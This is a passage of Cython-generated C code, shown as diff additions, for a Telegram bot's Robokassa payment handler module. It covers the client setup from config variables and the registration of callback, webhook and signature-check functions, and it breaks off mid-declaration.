__Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_logger); + __Pyx_GIVEREF(__pyx_n_s_logger); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_logger)) __PYX_ERR(0, 28, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_logger, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_logger, __pyx_t_2) < 0) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":30 + * from logger import logger + * + * router = Router() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_2) < 0) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":33 + * + * + * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< + * choosing_amount_robokassa = State() + * waiting_for_payment_confirmation_robokassa = State() + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = PyTuple_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_2); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error); + __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PEP560_update_bases(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = __Pyx_CalculateMetaclass(NULL, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_5 = __Pyx_Py3MetaclassPrepare(__pyx_t_4, __pyx_t_2, __pyx_n_s_ReplenishBalanceState, __pyx_n_s_ReplenishBalanceState, (PyObject *) NULL, __pyx_n_s_handlers_payments_robokassa_pay, (PyObject *) NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (__pyx_t_2 != __pyx_t_3) { + if (unlikely((PyDict_SetItemString(__pyx_t_5, "__orig_bases__", __pyx_t_3) < 0))) __PYX_ERR(0, 33, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":34 + * + * class ReplenishBalanceState(StatesGroup): + * choosing_amount_robokassa = State() # <<<<<<<<<<<<<< + * waiting_for_payment_confirmation_robokassa = State() + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_State); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_7 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_8, 0+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_choosing_amount_robokassa, __pyx_t_3) < 0) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":35 + * class ReplenishBalanceState(StatesGroup): + * choosing_amount_robokassa = State() + * waiting_for_payment_confirmation_robokassa = State() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_State); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_7 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_8, 0+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_waiting_for_payment_confirmation, __pyx_t_3) < 0) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":33 + * + * + * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< + * choosing_amount_robokassa = State() + * waiting_for_payment_confirmation_robokassa = State() + */ + __pyx_t_3 = __Pyx_Py3ClassCreate(__pyx_t_4, __pyx_n_s_ReplenishBalanceState, __pyx_t_2, __pyx_t_5, NULL, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReplenishBalanceState, __pyx_t_3) < 0) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":38 + * + * + * if ROBOKASSA_ENABLE: # <<<<<<<<<<<<<< + * robokassa = Robokassa( + * merchant_login=ROBOKASSA_LOGIN, + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ROBOKASSA_ENABLE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_9 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely((__pyx_t_9 < 0))) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (__pyx_t_9) { + + /* "handlers/payments/robokassa_pay.py":39 + * + * if ROBOKASSA_ENABLE: + * robokassa = Robokassa( # <<<<<<<<<<<<<< + * merchant_login=ROBOKASSA_LOGIN, + * password1=ROBOKASSA_PASSWORD1, + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Robokassa); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 39, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + + /* "handlers/payments/robokassa_pay.py":40 + * if ROBOKASSA_ENABLE: + * robokassa = Robokassa( + * merchant_login=ROBOKASSA_LOGIN, # <<<<<<<<<<<<<< + * password1=ROBOKASSA_PASSWORD1, + * password2=ROBOKASSA_PASSWORD2, + */ + __pyx_t_4 = __Pyx_PyDict_NewPresized(5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_ROBOKASSA_LOGIN); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_merchant_login, __pyx_t_5) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/robokassa_pay.py":41 + * robokassa = Robokassa( + * merchant_login=ROBOKASSA_LOGIN, + * password1=ROBOKASSA_PASSWORD1, # <<<<<<<<<<<<<< + * password2=ROBOKASSA_PASSWORD2, + * algorithm=HashAlgorithm.md5, + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_ROBOKASSA_PASSWORD1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 41, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_password1, __pyx_t_5) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/robokassa_pay.py":42 + * merchant_login=ROBOKASSA_LOGIN, + * password1=ROBOKASSA_PASSWORD1, + * password2=ROBOKASSA_PASSWORD2, # <<<<<<<<<<<<<< + * algorithm=HashAlgorithm.md5, + * is_test=ROBOKASSA_TEST_MODE, + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_ROBOKASSA_PASSWORD2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_password2, __pyx_t_5) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/robokassa_pay.py":43 + * password1=ROBOKASSA_PASSWORD1, + * password2=ROBOKASSA_PASSWORD2, + * algorithm=HashAlgorithm.md5, # <<<<<<<<<<<<<< + * is_test=ROBOKASSA_TEST_MODE, + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_HashAlgorithm); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_md5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_algorithm, __pyx_t_3) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":44 + * password2=ROBOKASSA_PASSWORD2, + * algorithm=HashAlgorithm.md5, + * is_test=ROBOKASSA_TEST_MODE, # <<<<<<<<<<<<<< + * ) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ROBOKASSA_TEST_MODE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 44, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_is_test, __pyx_t_3) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":39 + * + * if ROBOKASSA_ENABLE: + * robokassa = Robokassa( # <<<<<<<<<<<<<< + * merchant_login=ROBOKASSA_LOGIN, + * password1=ROBOKASSA_PASSWORD1, + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 39, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_robokassa, __pyx_t_3) < 0) __PYX_ERR(0, 39, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":47 + * ) + * + * logger.info("Robokassa initialized with login: {}", ROBOKASSA_LOGIN) # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 47, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_info); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 47, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ROBOKASSA_LOGIN); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 47, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = PyTuple_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 47, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_kp_u_Robokassa_initialized_with_login); + __Pyx_GIVEREF(__pyx_kp_u_Robokassa_initialized_with_login); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u_Robokassa_initialized_with_login)) __PYX_ERR(0, 47, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_3); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_3)) __PYX_ERR(0, 47, __pyx_L1_error); + __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 47, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":38 + * + * + * if ROBOKASSA_ENABLE: # <<<<<<<<<<<<<< + * robokassa = Robokassa( + * merchant_login=ROBOKASSA_LOGIN, + */ + } + + /* "handlers/payments/robokassa_pay.py":50 + * + * + * def generate_payment_link(amount, inv_id, description, tg_id): # <<<<<<<<<<<<<< + * """ .""" + * logger.debug( + */ + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13robokassa_pay_1generate_payment_link, 0, __pyx_n_s_generate_payment_link, NULL, __pyx_n_s_handlers_payments_robokassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__33)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 50, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_generate_payment_link, __pyx_t_3) < 0) __PYX_ERR(0, 50, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":65 + * + * + * @router.callback_query(F.data == "pay_robokassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_robokassa( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyObject_RichCompare(__pyx_t_4, __pyx_n_u_pay_robokassa, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 65, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 65, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 65, __pyx_L1_error) + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13robokassa_pay_3process_callback_pay_robokassa, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_callback_pay_robokassa, NULL, __pyx_n_s_handlers_payments_robokassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__2)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_callback_pay_robokassa, __pyx_t_3) < 0) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":116 + * + * + * @router.callback_query(F.data.startswith("robokassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_startswith); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__35, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 116, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 116, __pyx_L1_error) + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13robokassa_pay_6process_amount_selection, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_amount_selection, NULL, __pyx_n_s_handlers_payments_robokassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__7)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_amount_selection, __pyx_t_4) < 0) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":161 + * + * + * async def robokassa_webhook(request): # <<<<<<<<<<<<<< + * """ webhook- Robokassa shp_id.""" + * try: + */ + __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13robokassa_pay_9robokassa_webhook, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_robokassa_webhook, NULL, __pyx_n_s_handlers_payments_robokassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__20)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 161, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_robokassa_webhook, __pyx_t_4) < 0) __PYX_ERR(0, 161, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":203 + * + * + * def check_payment_signature(params): # <<<<<<<<<<<<<< + * """ Robokassa shp_id.""" + * out_sum = params.get("OutSum") + */ + __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13robokassa_pay_12check_payment_signature, 0, __pyx_n_s_check_payment_signature, NULL, __pyx_n_s_handlers_payments_robokassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__39)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_check_payment_signature, __pyx_t_4) < 0) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":224 + * + * + * @router.callback_query(F.data == "enter_custom_amount_robokassa") # <<<<<<<<<<<<<< + * async def process_custom_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_router); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 224, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 224, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_F); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 224, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 224, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = PyObject_RichCompare(__pyx_t_3, __pyx_n_u_enter_custom_amount_robokassa, Py_EQ); __Pyx_XGOTREF(__pyx_t_4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 224, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 224, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 224, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 224, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 224, __pyx_L1_error) + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13robokassa_pay_14process_custom_amount_selection, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_custom_amount_selection, NULL, __pyx_n_s_handlers_payments_robokassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__24)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 224, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 224, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_custom_amount_selection, __pyx_t_4) < 0) __PYX_ERR(0, 224, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":244 + * + * + * @router.message(ReplenishBalanceState.waiting_for_payment_confirmation_robokassa) # <<<<<<<<<<<<<< + * async def handle_custom_amount_input(message: 